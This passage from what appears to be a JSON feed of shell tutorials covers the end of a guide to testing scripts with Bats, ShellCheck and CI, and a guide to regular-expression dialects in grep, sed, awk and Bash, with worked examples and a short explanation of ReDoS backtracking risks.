@test \"reports a missing dependency\" {\n PATH=\"$BATS_TEST_TMPDIR/empty\" run /bin/bash \"$SCRIPT\" \"$SRC\" \"$DEST\"\n [ \"$status\" -ne 0 ]\n}\n\n@test \"does not leave a partial archive when tar fails\" {\n make_mock tar 2\n run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n [ \"$status\" -ne 0 ]\n run bash -c \"ls '$DEST'/*.tar.gz 2>/dev/null | wc -l\"\n [ \"$output\" -eq 0 ]\n}\nThe first test confirms that the script fails and does not carry on when a tool it needs is missing, since an empty PATH hides tar and date. The second replaces tar with a mock that exits 2 and checks that no archive is left. It passes against the sample script because set -e stops the run at once, but it has a limit worth knowing: a mock that writes nothing cannot show what a real tar that dies halfway leaves behind. To test that, make a mock that writes a partial file and then fails, and assert that the script removes it or never places it in the destination. Writing that test is what pushes a script toward building in a temporary location and moving the finished file into place. Tests of failure paths are where a suite earns its keep, since failures are the cases nobody runs by hand.
Run the whole directory with bats test/, one file with its path, or filter by test name with --filter. Output formats include pretty (the default on a terminal), TAP, JUnit XML for CI dashboards, and the timing report. With GNU parallel installed, --jobs N runs files in parallel, so tests must not share state.
bats test/\nbats --filter 'space' test/backup.bats\nbats --tap test/ | tee results.tap\nbats --report-formatter junit --output reports test/\nbats --timing test/backup.bats\n1..5\nok 1 prints usage and exits 2 with no arguments in 7ms\nok 2 fails when the source is not a directory in 7ms\nWatch the timing report for slow tests; a suite that takes a minute stops being run before every commit. Aim for seconds. Tag slow or environment-dependent tests and run them in a separate CI job, using Bats tags (# bats test_tags=slow) with --filter-tags. The goal is a fast default run that developers use constantly and a fuller run that CI always does.
CI turns a suite from a habit into a gate. The job installs the tools, runs ShellCheck on every shell file and runs Bats, and fails the build on any non-zero exit. Because the tools are in the standard repositories, the job is a few lines on any runner. Use find or git ls-files to discover scripts, so a new file is checked without editing the config.
name: shell\non: [push, pull_request]\njobs:\n test:\n runs-on: ubuntu-24.04\n steps:\n - uses: actions/checkout@v4\n with:\n submodules: recursive\n - name: Install tools\n run: sudo apt-get update && sudo apt-get install -y shellcheck\n - name: ShellCheck\n run: git ls-files -z '*.sh' | xargs -0 shellcheck -S warning -f gcc\n - name: Bats\n run: test/bats/bin/bats --tap test/\nPin the runner image and the action versions so the pipeline does not change under you. Using the vendored Bats from the submodule gives every contributor and the runner the same version. Add shfmt -d to fail on formatting drift if the team has agreed on a style. A pre-commit hook that runs ShellCheck on staged files gives faster feedback than waiting for CI, though CI remains the gate, since hooks can be skipped.
A script that claims to be portable must be checked under the shells it claims. Bats runs under Bash, but a test can launch the script under any interpreter, so a loop over shells gives a matrix with no extra tooling. For distribution differences, run the whole suite inside containers.
\n@test \"runs under dash and busybox\" {\n for sh in dash \"busybox sh\" bash; do\n run $sh \"$BATS_TEST_DIRNAME/../bin/portable.sh\" --version\n [ \"$status\" -eq 0 ] || { echo \"failed under: $sh\" >&3; false; }\n done\n}\ndocker run --rm -v \"$PWD\":/w -w /w debian:12 bash -c 'apt-get update -qq && apt-get install -y -qq bats shellcheck >/dev/null && bats test/'\ndocker run --rm -v \"$PWD\":/w -w /w alpine:3.20 sh -c 'apk add --no-cache bash bats shellcheck >/dev/null && bats test/'\nThe unquoted $sh in the first example is intentional, so that busybox sh splits into two words; ShellCheck would flag it, so the line carries a suppression with that reason in real use. What the portable shell guide recommends, in POSIX sh versus Bash, is the same idea: the scripts and the tests agree on which shells matter, and CI runs them. Running the suite on the oldest Bash you support, in a container, finds the use of features that arrived later.
Coverage for shell is possible with kcov, which instruments Bash by tracing line execution and produces an HTML report, and it can wrap Bats. Coverage numbers say which lines no test reached, not whether the tests are good, so read the uncovered lines and ask why. Error branches and rarely taken options usually show up red, and those are the ones worth a test.
kcov --include-path=bin coverage/ bats test/\nxdg-open coverage/index.html\nTreat a threshold with care. A rule of 80 percent line coverage invites tests written to touch lines rather than to check behavior. Use coverage to find gaps in a suite you already trust, and rely on code review and the hostile-input list to judge the rest. A short script with every branch exercised and every documented exit code asserted is better tested than a long one with high coverage and loose assertions.
\n\nrun uses a subshell. Variables set inside are lost; write to a file or avoid run.The unifying advice is to treat tests as small, independent, readable programs. If a test needs a paragraph to explain, split it.
\n\nPutting the pieces together gives a routine for the situation where most scripts are touched: modifying one that already exists and matters. First run ShellCheck and fix or consciously accept every finding. Second, write characterization tests: run the script on representative input and record its current behavior as assertions, bugs included, so that you know when something changes. Third, write a failing test for the change you want. Fourth, make the change until the test passes and the old tests still do. Fifth, run the suite across the shells and containers you support. Sixth, review the diff for new suppressions. When something breaks in production, add the reproduction as a test before fixing it, as described in the debugging guide.
\nThis is the same loop as in any language, and the discipline is the point. The reason shell scripts decay is not the language but the habit of editing them untested, since a missing test is invisible until the day it matters.
\n\nWhen a script produces a report or a generated file, comparing it with a stored expected copy, a golden file, is simpler than writing many assertions. Keep the expected output under test/golden/, generate the actual output in the test, and compare with diff -u, whose output shows precisely what changed. To update the golden file after an intended change, regenerate it and review the diff in version control like any code.
@test \"report matches the golden file\" {\n run \"$SCRIPT\" --report \"$BATS_TEST_DIRNAME/fixtures/input.csv\"\n [ \"$status\" -eq 0 ]\n diff -u \"$BATS_TEST_DIRNAME/golden/report.txt\" <(printf '%s\\n' \"$output\")\n}\nKeep the input small and deterministic: fix the clock, sort anything that has no defined order, and strip volatile fields such as process IDs and timestamps with sed before the comparison. Golden files suit output that people read; for anything with structure, assert on fields. A golden test that fails on every harmless change teaches the team to regenerate the file without looking, which defeats it, so keep each golden test narrow.
Scripts that configure systems or run on a schedule should be safe to run twice. That property is cheap to test: run the script, capture the state, run it again, and assert the state is unchanged and the second run succeeds. The state can be a directory listing with checksums, the output of a status command, or a file's content.
\n@test \"running twice changes nothing the second time\" {\n BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n [ \"$status\" -eq 0 ]\n before=$(cd \"$DEST\" && find . -type f | sort | xargs sha256sum)\n BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n [ \"$status\" -eq 0 ]\n after=$(cd \"$DEST\" && find . -type f | sort | xargs sha256sum)\n [ \"$before\" = \"$after\" ]\n}\nArchives embed modification times, so the second archive has a different checksum even with the same name; if this test fails for that reason, the assertion should compare names and counts instead of content, which is a fair result, since it shows precisely what a rerun does. Deciding what idempotent means for a script is a design question, and a failing test is how it gets asked. The same pattern checks installers and provisioning scripts, where it matters more.
\n\nScripts that manage users, mount filesystems, edit /etc or call systemctl cannot run safely on a developer machine. Run them in a disposable container, where root is harmless and the result vanishes. The suite either runs inside the container, as in the CI example, or drives the container from outside with docker run in each test.
@test \"creates the service user in a clean container\" {\n run docker run --rm -v \"$BATS_TEST_DIRNAME/../bin:/opt/bin:ro\" debian:12 \\\n bash -c '/opt/bin/setup-user.sh app && id app && /opt/bin/setup-user.sh app'\n [ \"$status\" -eq 0 ]\n [[ $output == *\"uid=\"* ]]\n}\nThe command runs the script twice in the same container and checks the second call succeeds, combining a root-only test with the idempotence check. Mount the scripts read-only so a bug cannot rewrite the host copy. Mark such tests with a tag and a skip when Docker is not available, so the fast suite stays fast. For scripts that need systemd, a container needs special setup; a virtual machine, or a CI runner that is itself disposable, is the safer choice.
Fast checks belong before the commit. A Git hook that runs ShellCheck and the quick part of the suite catches mistakes while the change is still in your head. The pre-commit framework wraps this in a config file shared by the team, and shfmt enforces a single formatting style, which removes a category of review comments.
# .pre-commit-config.yaml\nrepos:\n - repo: https://github.com/koalaman/shellcheck-precommit\n rev: v0.9.0\n hooks:\n - id: shellcheck\n args: [--severity=warning]\n - repo: https://github.com/scop/pre-commit-shfmt\n rev: v3.7.0-1\n hooks:\n - id: shfmt\n args: [-i, \"2\", -ci]\npip install pre-commit\npre-commit install\npre-commit run --all-files\nAn .editorconfig file with indent_style = space and indent_size = 2 for *.sh keeps editors in line with shfmt. Hooks run on the developer's machine and can be bypassed, so the CI job repeats the same checks; the hook is a convenience and CI is the guarantee. Keep the hook fast, under a few seconds, or people will disable it.
When a test fails and the reason is not obvious, Bats has options for seeing more. --verbose-run prints the output of every run, --trace prints each command executed in the test, and --print-output-on-failure prints $output only for failing tests. Add --no-tempdir-cleanup to keep the temporary files for inspection. Inside a test, echo \"...\" >&3 prints a message that is always shown, and set -x works as in any script.
bats --print-output-on-failure test/backup.bats\nbats --trace --verbose-run --filter 'space' test/backup.bats\nbats --no-tempdir-cleanup test/backup.bats\nThe trace shows the exact command lines, which is the fastest way to see that an expansion produced something different from what you assumed; the techniques are the same as in the debugging guide. A test that passes alone and fails in the suite shares state with another, usually through a fixed path under /tmp or an exported variable; run each file separately and in a random order to find it.
Read the test names of a good suite from top to bottom and you have the script's specification: what it accepts, what it refuses, what it leaves behind and how it fails. That makes the suite a place to look first when you pick up an unfamiliar script, and it is the reason to write test names as plain statements of behavior. When you add a feature, write the test that describes it before the code, and when a user reports a surprise, write the test that describes what they expected. Over a year the file becomes a record of the decisions made about the script, which a README rarely keeps current. Tests also make refactoring a script safe, which matters because shell is easy to write quickly and hard to tidy later: with a suite in place you can rename variables, split a long function and replace a fragile pipeline with confidence, and the tests will say whether behavior changed. The cost is small compared with the first time a change that looked trivial would have broken a nightly job unnoticed.
\n\nReview tests in pull requests with the same care as the script: a change that adds a feature and no test deserves the question, and a change that edits an assertion to make a failure go away deserves a reason in the description.
\n\nA suite stays useful when it is easy to find things in and quick to run. Keep one .bats file per script or per library, named after it, and put shared helpers in test/test_helper/ so each file loads only what it needs. Group related tests in a file and name them as sentences about behavior: \"rejects a non numeric KEEP\", not \"test3\". Keep fixtures small and in test/fixtures/, generated at test time when they are simple, committed when they are not. A Makefile target ties the layers together so that nobody has to remember the commands.
.\n├── bin/backup.sh\n├── lib/retry.sh\n└── test/\n ├── backup.bats\n ├── retry.bats\n ├── test_helper/\n │ ├── common.bash\n │ └── mocks.bash\n └── fixtures/input.csv\nlint:\n\tgit ls-files -z '*.sh' | xargs -0 shellcheck -S warning\ntest: lint\n\ttest/bats/bin/bats test/\nMaking test depend on lint means the cheap check runs first and a style problem stops the run in a second. Review the suite occasionally as you would code: delete tests that no longer protect anything, merge near-duplicates and fix any that are slow or flaky. A test that nobody trusts is worse than none, because it trains people to rerun until green.
Besides unit-level tests of scripts, a few end-to-end checks prove that the pieces work together as a user would run them: install into a temporary prefix, run the installed program, then uninstall and check that nothing is left. These run slower, so keep them few and run them in CI and in a container.
\n@test \"install puts the script on the path and uninstall removes it\" {\n prefix=\"$BATS_TEST_TMPDIR/prefix\"\n run make -C \"$BATS_TEST_DIRNAME/..\" install PREFIX=\"$prefix\"\n [ \"$status\" -eq 0 ]\n [ -x \"$prefix/bin/backup.sh\" ]\n run \"$prefix/bin/backup.sh\" -h\n [ \"$status\" -eq 2 ]\n run make -C \"$BATS_TEST_DIRNAME/..\" uninstall PREFIX=\"$prefix\"\n [ ! -e \"$prefix/bin/backup.sh\" ]\n}\nPassing PREFIX as a variable makes the installer relocatable, which is good packaging practice anyway and makes the test possible without root. If your installer cannot be pointed somewhere harmless, that is a finding: fix the installer, not the test.
One-off commands. A script you run once, on your own data, and delete, does not need a suite. ShellCheck is still worth running, since it takes seconds.
\nScripts that are mostly glue to a real system. Where the work is calling a cloud API, mocks test your assumptions about the API and not the API. Add a small number of integration tests against a real or staging system, run less often, and keep the unit tests for the logic around the calls.
\nLarge logic. If you are writing a mock framework for the script, the script has probably outgrown shell. Tests in the language the logic should have been written in are easier to write and maintain.
\nInteractive and terminal behavior. Prompts, colors and full-screen programs need a pseudo-terminal harness such as expect or script, and tests of them are brittle. Separate the logic from the interaction and test the logic.
Destructive scripts on shared systems. Never point a test at real data. Use a container or a temporary directory, and make the script take its target as an argument so the test chooses the sandbox.
\n\nTests tell you that a script is wrong; finding out why is the work in the guide to debugging shell scripts. The inputs worth testing come from the shell script security guide, and the scripts themselves are described in the Bash scripting tutorial. To schedule a tested script and watch it run, see the cron and systemd timers guide.
\nPrimary sources used here: the bats-core documentation, the bats-core guide to writing tests, the bats-core repository, the bats-assert repository, the ShellCheck wiki, the ShellCheck repository, the TAP specification, the Bash Reference Manual, the shfmt repository and the GitHub Actions workflow documentation.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Testing"]},{"id":"https://shellhacks.dev/library/regular-expressions-shell-tools","url":"https://shellhacks.dev/library/regular-expressions-shell-tools","title":"Regular Expressions in Shell Tools From Basics to Practice","summary":"Regular expressions in shell tools explained: BRE, ERE and PCRE in grep, sed, awk and Bash, with real output, quoting rules, pitfalls and performance limits.","content_html":"Regular expressions are the pattern language of the command line, and the confusion around them comes from there being several of them. The pattern that works in grep -P fails in grep -E, the one for sed needs backslashes that awk forbids, Bash has its own rules for quoting, and the globs used for file names look similar and mean something else. This guide sorts that out. It explains the three dialects, the operators they share, how each tool applies them, and the traps at each boundary, with every example run on Debian 12 using GNU grep 3.8, GNU sed 4.9, gawk 5.2.1, mawk 1.3.4, BusyBox 1.35 and Bash 5.2.15. The tools themselves are covered in the grep, sed and awk guide, and this guide goes deeper on the patterns.
The guide goes from the building blocks to the dialect differences, then each tool, then globs, locale and performance, and ends with a method for building and testing a pattern and a list of cases where a regex is the wrong tool.
\n\nA regular expression describes a set of strings. A tool reads text and asks, for each line or each position, whether some part of it belongs to that set. The expression cat describes the single string cat. The expression c.t describes all three-character strings that start with c and end with t. The expression ^[0-9]+$ describes every line made only of digits. The power comes from a small set of operators: pick one of several, repeat, group, and anchor.
What the tool does with a match depends on the tool. grep prints the line, or just the match with -o. sed replaces the match. awk uses the match to select records, split fields or edit them. Bash uses it in a condition and exposes the groups. In all of them the same two rules apply: a match can start anywhere in the line unless you anchor it, and when several matches are possible at a position the engine takes the longest. Hold on to those two rules, since they explain most surprises.
POSIX defines two syntaxes, and a third family comes from Perl. They differ in which characters are operators.
\n| Dialect | Selected by | Operators without a backslash |
|---|---|---|
| Basic (BRE) | Default in grep, sed, expr, find -regex (emacs flavor) | . * [ ] ^ $ only; GNU adds \\+ \\? \\| and \\( \\) \\{ \\} with backslashes |
| Extended (ERE) | grep -E, sed -E, awk, Bash =~ | . * + ? | ( ) { } [ ] ^ $ |
| Perl-compatible (PCRE) | grep -P | ERE plus \\d \\w \\s \\b, lookaround, lazy quantifiers, named groups |
The syntax is specified in the POSIX regular expressions chapter. The practical advice follows from the table: write ERE, because it is the one most people can read, and use -E with grep and sed so that you never have to remember which characters need a backslash. Reach for PCRE only when you need what ERE cannot say, and only where you know it is installed.
The same pattern means different things depending on the flag. In basic syntax, an unescaped plus sign is a literal plus. In extended syntax it is a repetition operator.
\necho \"aab\" | grep 'a\\+b'\necho \"aab\" | grep -E 'a+b'\necho \"a+b\" | grep 'a+b'\necho \"a+b\" | grep -E 'a\\+b'\naab\naab\na+b\na+b\nAll four lines matched, for different reasons. The first uses the GNU backslash form in BRE to mean one or more. The second uses ERE. The third matches a literal plus in BRE, since the plus has no special meaning there. The fourth escapes the plus in ERE to make it literal. The backslash flips the meaning between the dialects: in BRE it adds a meaning to a character, in ERE it removes one. The backslash forms \\+, \\? and \\| in BRE are GNU extensions, not POSIX, so a script that must run on BSD or BusyBox should use -E.
Most characters match themselves. A handful have special meanings, and to match them literally you escape them with a backslash or place them in a bracket expression. In ERE the special characters are . [ ] ( ) * + ? { } | ^ $ \\. The dot is the most frequent mistake: it matches any character, so 1.5 also matches 125.
echo 'a.b axb' | grep -o 'a.b'\necho 'a.b axb' | grep -o 'a\\.b'\necho 'a]b' | grep -o '[]]'\na.b\naxb\na.b\n]\nThe first pattern matched both the real dot and the x; the escaped version matched only the real dot. Inside a bracket expression, most special characters lose their meaning, which is a tidy way to write a literal: [.] is a dot. The closing bracket must come first in the list to be literal, as in []]. Two layers of escaping are involved when the pattern passes through the shell, so keep patterns in single quotes. When the text to find is not a pattern at all, use grep -F and skip the problem.
A bracket expression matches one character from a set. [abc] matches a, b or c; [a-z] is a range; [^0-9], with a caret first, is anything except a digit. POSIX also defines named classes written inside brackets: [[:digit:]], [[:alpha:]], [[:alnum:]], [[:space:]], [[:upper:]], [[:lower:]] and [[:punct:]]. The double bracket is correct: the class name is inside a bracket expression.
echo \"ab12 _x\" | grep -o '[[:digit:]]*'\necho \"ab12 _x\" | grep -oE '[[:alpha:]]+'\necho \"ab12 _x\" | grep -oE '\\w+'\necho \"a1\" | grep -E '\\d' || echo \"no \\d in ERE\"\necho \"a1\" | grep -oP '\\d'\n12\nab\nx\nab12\n_x\nno \\d in ERE\n1\nThe named classes work everywhere and follow the locale. The shorthand \\w works in GNU grep and sed as an extension, matching letters, digits and underscore, which is why it matched ab12 and _x as words. The Perl shorthand \\d is not defined in ERE: GNU grep treated the backslash-d as a plain d, so the pattern found nothing, and it works only with -P. Ranges such as [a-z] depend on the locale's collation order in some implementations; the named classes are the portable way to say the same thing.
The caret matches the start of a line and the dollar sign matches the end. Without them a pattern can match anywhere in the line, which is the usual reason for a pattern that matches too much. grep offers shortcuts: -x requires the whole line to match, and -w requires the match to be a whole word, bounded by non-word characters.
printf 'foo\\nfoobar\\nbar foo\\n' | grep -c '^foo'\nprintf 'foo\\nfoobar\\nbar foo\\n' | grep -x foo\nprintf 'foo\\nfoobar\\n' | grep -w foo\necho \"foo-bar\" | grep -ow 'foo'\n2\nfoo\nfoo\nfoo\nTwo lines start with foo, so the count was 2. -x kept only the line that is exactly foo. -w rejected foobar but accepted foo-bar, because a hyphen is not a word character. GNU tools also accept \\b for a word boundary, \\< and \\> for the start and end of a word, and gawk uses \\y for the boundary; these are extensions, so check the target tool. In sed, the caret and dollar anchor each line of the pattern space, and in multi-line mode (the next sections) they can be made to anchor the whole buffer.
A quantifier follows an item and says how many times it may repeat. * is zero or more, + one or more, ? zero or one, {n} exactly n, {n,} at least n and {n,m} between n and m. An item is a single character, a bracket expression, or a group.
echo \"aaa\" | grep -oE 'a{2}'\necho \"aaa\" | mawk '/a{2}/ {print \"mawk match\"}'\necho \"aaa\" | mawk '!/a{2}/ {print \"mawk no match\"}'\necho \"aaa\" | gawk '/a{2}/ {print \"gawk match\"}'\naa\nmawk no match\ngawk match\nThe same interval gave different results in two awks. On Debian, awk is mawk 1.3.4 (version 20200120), which treated the braces as literal characters, so a{2} meant the text a{2}; gawk supports intervals. A script that relies on {n,m} in awk must either require gawk or repeat the item by hand, as in aa. It is a good example of why the tool's dialect matters as much as the pattern's, and the portable-shell guide, POSIX sh versus Bash, lists the testing approach for such differences.
Parentheses group items so a quantifier applies to the whole group and capture the matched text for later use. The vertical bar chooses between alternatives. In BRE with GNU extensions both need backslashes.
\necho \"cat dog\" | grep -o 'cat\\|dog'\necho \"cat dog\" | grep -oE 'cat|dog'\necho \"2026-11-05\" | sed -E 's/([0-9]+)-([0-9]+)-([0-9]+)/\\3.\\2.\\1/'\necho \"2026-11-05\" | sed 's/\\([0-9]*\\)-\\([0-9]*\\)-\\([0-9]*\\)/\\3.\\2.\\1/'\ncat\ndog\ncat\ndog\n05.11.2026\n05.11.2026\nThe two sed commands do the same date rearrangement, and the extended form is a good deal easier to read. The captured groups are numbered by their opening parenthesis from left to right, and in the replacement \\1 to \\9 refer to them. Group with (?:...) to avoid capturing is a PCRE feature; in ERE every group captures, and the practical cost is only that group numbers shift when you add one. Alternation tries alternatives left to right in Perl but takes the longest overall match in POSIX, so a|ab against ab matches the whole of it in grep and sed and only the first letter in Perl-style engines.
A backreference matches the same text that an earlier group matched. It makes it possible to find repeated words and matching quote characters, which is beyond the reach of a regular language in the strict sense and is supported by all three dialects.
\necho \"abcabc xyzxyz abab\" | grep -oE '([a-z]+)\\1'\necho \"hello wood\" | grep -E '(.)\\1'\necho 'say \"hi\" and '\"'\"'bye'\"'\"'' | grep -oE \"(['\\\"])[^'\\\"]*\\1\"\nabcabc\nxyzxyz\nabab\nhello wood\nThe first pattern finds a run of letters followed by a repeat of itself. The second finds any doubled character, which matched both words. The third finds text inside matching single or double quotes. Backreferences carry a cost: patterns that use them cannot be run by the fast finite-automaton engines, so grep switches to a slower matcher for them. In POSIX ERE the backreference is an extension of the standard that GNU and BSD both implement, so it works on them and not in every awk.
\n\nQuantifiers are greedy: they take as much as possible while still allowing the whole pattern to match. This is the cause of the classic mistake of trying to match a delimited section with .*, which runs to the last closing delimiter and swallows everything in between.
echo '<b>x</b><b>y</b>' | grep -o '<b>.*</b>'\necho '<b>x</b><b>y</b>' | grep -oE '<b>[^<]*</b>'\necho '<b>x</b><b>y</b>' | grep -oP '<b>.*?</b>'\n<b>x</b><b>y</b>\n<b>x</b>\n<b>y</b>\n<b>x</b>\n<b>y</b>\nThe first pattern matched the whole string as one. The second uses a negated class, [^<]*, meaning any run of characters that are not a less-than sign, which cannot cross the next tag. The third uses the lazy quantifier .*? from PCRE, which takes as little as possible. POSIX has no lazy quantifier, and the negated class is the portable substitute, and a clearer one: it says exactly what the content may contain. The same trick pulls the first quoted string out of key=\"a\" other=\"b\" with \"[^\"]*\".
grep's three engines are chosen by flag: none for BRE, -E for ERE, -P for PCRE, and -F for fixed strings with no pattern at all. Add -i to ignore case, -o to print only matches, -w and -x for whole words and lines, -v to invert, and -c to count lines. Multiple -e options combine patterns.
echo \"Error ERROR error\" | grep -oi 'error' | wc -l\necho \"price: 100USD 200EUR\" | grep -oP '\\d+(?=USD)'\necho \"foo.bar\" | grep -oP '(?<=foo\\.)\\w+'\nprintf 'a\\nb\\nc\\n' | grep -Pzo 'a\\nb' | tr '\\0' '\\n'\n3\n100\nbar\na\nb\nThe lookahead (?=USD) asserts that USD follows without consuming it, so only the number is printed; the lookbehind (?<=foo\\.) asserts what comes before. The -z option treats the whole input as one line by using NUL as the separator, so a pattern can span newlines, and the output is NUL-terminated, hence the final tr. -P is documented as experimental in the GNU grep manual, is missing from BusyBox (grep: invalid option -- 'P') and BSD grep, and is not available in every build of GNU grep, so scripts should not assume it. The GNU grep manual documents each option.
sed uses BRE by default, ERE with -E (GNU also accepts -r), and applies the pattern in the s command and in address expressions. The special characters in the replacement are the ampersand, which stands for the whole match, and the backslash digits. Any character can serve as the delimiter, which avoids escaping slashes in paths.
echo \"a/b\" | sed 's/\\//|/'\necho \"a/b\" | sed 's#/#|#'\necho \"a.b\" | sed 's/./X/g'\necho \"a.b\" | sed 's/\\./X/g'\necho \"hello\" | sed 's/l*/X/'\necho \"hello\" | sed 's/l*/X/g'\necho \"x\" | sed -E 's/(x)/[&]/'\na|b\na|b\nXXX\naXb\nXhello\nXhXeXoX\n[x]\nThe third result shows the dot at work: every character became X. The fifth and sixth results show a trap with patterns that can match nothing: l* matches zero l characters at the very start, so the first substitution inserted an X before hello, and with the g flag it inserted one at every position and replaced the real ll with a single X. Use l\\+ or ll* when you mean at least one. To make a match case-insensitive use the I flag in GNU sed, and to match across lines use N to join lines first, or -z.
awk uses ERE. A regex between slashes is a pattern that matches against the whole record, and ~ and !~ match a regex against any string. The functions match, sub, gsub, split and gensub (gawk) take regexes. match sets RSTART and RLENGTH, and gawk's three-argument match fills an array of captures.
echo \"id=42 name=bob\" | awk 'match($0, /[0-9]+/) {print substr($0, RSTART, RLENGTH), RSTART, RLENGTH}'\necho \"id=42 id=7\" | gawk '{match($0, /id=([0-9]+)/, m); print m[1]}'\necho \"a.b.c\" | awk '{n=gsub(/\\./,\"-\"); print $0, n}'\necho \"a.b.c\" | awk -F'[.]' '{print $2}'\n42 4 2\n42\na-b-c 2\nb\nPOSIX awk has no way to extract a capture group, only the whole match with RSTART and RLENGTH; gawk's extension fills the array m. gsub returns the number of replacements, which is a handy counter. A field separator longer than one character is treated as a regex, and -F'[.]' splits on a dot by putting it in a bracket expression. A pattern given as a string, such as $0 ~ p with p holding text, is a dynamic regex, where escapes are processed twice, once by awk's string parser and once by the regex engine, so \"\\\\.\" is needed to get a regex that means an escaped dot.
Passing a pattern into awk with -v works, and it brings the double-escaping issue plus a more basic one: the value is a regex, not a literal string, so special characters in it keep their meaning.
echo \"a.b\" | awk -v p='a.b' '$0 ~ p {print \"re match\"}'\necho \"axb\" | awk -v p='a.b' '$0 ~ p {print \"dot matches x\"}'\necho \"axb\" | awk -v p='a.b' 'index($0,p) {print \"index\"} END {print \"done\"}'\nre match\ndot matches x\ndone\nThe second line shows the danger: a value meant as the literal text a.b also matched axb. The third command uses index($0, p), which does a plain substring search, and printed only done, correctly finding nothing. Use index or == when the variable holds text, and ~ only when it is deliberately a pattern. This matters for security as well as correctness, since a pattern built from outside input is an injection point.
Inside [[ ]], =~ matches the left string against an ERE on the right and fills the array BASH_REMATCH with the match and its groups. The rule that catches everyone is quoting: since Bash 3.2, any part of the right-hand side that is quoted is matched literally. Store the regex in a variable and leave the variable unquoted.
re='^([a-z]+)-([0-9]+)$'\ns='app-42'\n[[ $s =~ $re ]] && echo \"${BASH_REMATCH[1]} ${BASH_REMATCH[2]}\"\n[[ $s =~ \"^app\" ]] && echo quoted-match || echo \"quoted: no match\"\n[[ \"file.txt\" == *.txt ]] && echo glob-ok\n[[ \"file.txt\" =~ *.txt ]] 2>&1; echo \"rc=$?\"\napp 42\nquoted: no match\nglob-ok\nrc=2\nThe quoted version of ^app failed to match app-42, since it looked for the literal text ^app. The last line shows what happens when a glob is written where a regex belongs: a leading asterisk is an invalid regex, so the test returned status 2, which is an error and not a plain false. Remember that status 1 means no match and 2 means a bad pattern. Bash regexes use the platform's regex library and so inherit its limits and locale. Bash offers no lazy quantifier and no lookaround.
Globs are the wildcard patterns that the shell expands in file names and uses in case, in [[ == ]] and in parameter expansions such as ${var#prefix*}. They look similar and are a different language. In a glob, * means any string, ? one character and [...] a set, and the whole pattern must match the whole string. In a regex, * repeats the previous item, . is any character, and matching is unanchored.
| Meaning | Glob | ERE |
|---|---|---|
| Any string | * | .* |
| Any one character | ? | . |
| Ends with .txt | *.txt | \\.txt$ |
| One digit | [0-9] | [0-9] |
| Anchoring | Always whole string | Add ^ and $ |
| Alternation | @(a|b) with extglob | (a|b) |
case \"img_01.png\" in *_[0-9][0-9].png) echo glob-class-ok ;; esac\nmkdir -p ft; touch ft/a1.log ft/b22.log ft/c.txt\nfind ft -name '*.log'\nfind ft -regex '.*/[a-z][0-9]+\\.log'\nThe pattern in find -name is a glob, quoted so the shell passes it along; find -regex matches the whole path against a regex and defaults to Emacs syntax, selectable with -regextype posix-extended. A symptom of mixing them up is ls *.txt working while grep *.txt file fails: the shell expanded the glob before grep saw it, which is a reason to quote regex arguments.
Each tool has its own switch. grep uses -i. GNU sed uses the I flag on the substitution or address, s/error/X/I. gawk has the IGNORECASE variable, but POSIX awk does not, so the portable way is to lower-case the text before matching with tolower($0) ~ /error/. Bash has shopt -s nocasematch to change [[ ]] and case globally, so set and unset it around the use.
echo \"Error\" | sed 's/error/X/I'\necho \"Error\" | awk 'tolower($0) ~ /error/ {print \"awk ok\"}'\necho \"Error\" | gawk 'BEGIN {IGNORECASE=1} /error/ {print \"IGNORECASE ok\"}'\nshopt -s nocasematch; [[ Error == error ]] && echo bash-ok; shopt -u nocasematch\nX\nawk ok\nIGNORECASE ok\nCase-insensitive matching is locale-dependent for non-ASCII letters, so it is reliable for English identifiers and logs and less so for text in other languages. Where behavior matters, state the locale in the script.
\n\nCharacter classes, ranges, case folding and the meaning of a dot depend on the locale. In a UTF-8 locale a dot matches a whole character and [[:alpha:]] includes accented letters. In the C locale, each byte is its own character, so a two-byte letter is two bytes of nothing in particular.
echo \"été\" | LC_ALL=C.UTF-8 grep -o '[[:alpha:]]*'\necho \"été\" | LC_ALL=C grep -o '[[:alpha:]]*' | od -c | head -2\nété\n0000000 t \\n\n0000002\nIn the C locale only the ASCII letter t matched, and both accented letters were treated as non-alphabetic. Cron jobs and containers often run with the C or POSIX locale because no LANG is set, so a pattern that handles Unicode on your laptop quietly stops at an accent in production. For text that must be treated as bytes, set LC_ALL=C on purpose, and for text that is Unicode, set a UTF-8 locale that exists in the image, C.UTF-8 being available on most Debian-based systems.
Line-oriented tools match within a line. To match across lines you have to change how the input is split or collect lines first. grep's -z reads NUL-separated records, so a text file with no NULs is one record; combined with -P, a pattern may contain \\n. In sed, N appends the next line to the pattern space and -z works like grep's flag. In awk, setting RS to an empty string reads paragraphs, and gawk accepts a regex as the record separator.
sed -z 's/\\n\\n*/\\n/g' file\nawk 'BEGIN {RS=\"\"; FS=\"\\n\"} {print $1}' paragraphs.txt\ngawk 'BEGIN {RS=\"\\n--\\n\"} {print NR \": \" $1}' sections.txt\nRemember that in a multiline buffer the caret and dollar may anchor the start and end of the whole buffer and not each line, depending on the tool and mode. For anything structured over many lines, such as an XML or JSON document or a config with nesting, a real parser is the answer, as the final section explains.
\n\nRegex engines fall in two families. Automaton-based engines, which GNU grep uses for BRE and ERE, scan the text once and take time proportional to its length however tricky the pattern. Backtracking engines, which Perl, PCRE, Python and many others use, try alternatives one at a time and go back when one fails; that is what makes lookaround and lazy quantifiers possible, and it also makes some patterns exponentially slow. The classic case is nested quantifiers such as (a+)+$ against a long run of a followed by a character that stops the match.
time (printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!\\n' | grep -E '^(a+)+$' > /dev/null)\nprintf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!\\n' | grep -P '^(a+)+$'\nreal\t0m0.001s\ngrep: (standard input): exceeded PCRE's backtracking limit\nGNU grep's ERE engine finished in about a millisecond on forty characters, while the PCRE engine gave up with a backtracking limit error on thirty. Both outcomes are real behavior of GNU grep 3.8 in the container. The lesson has two sides. With grep, sed and awk in their default modes you are protected from this class of problem; with -P, and with regexes in Python, JavaScript and other languages, an attacker who controls the input can freeze a program with a crafted string, the failure known as ReDoS. Avoid nested quantifiers over overlapping alternatives, anchor patterns, and cap input length when the text is not yours.
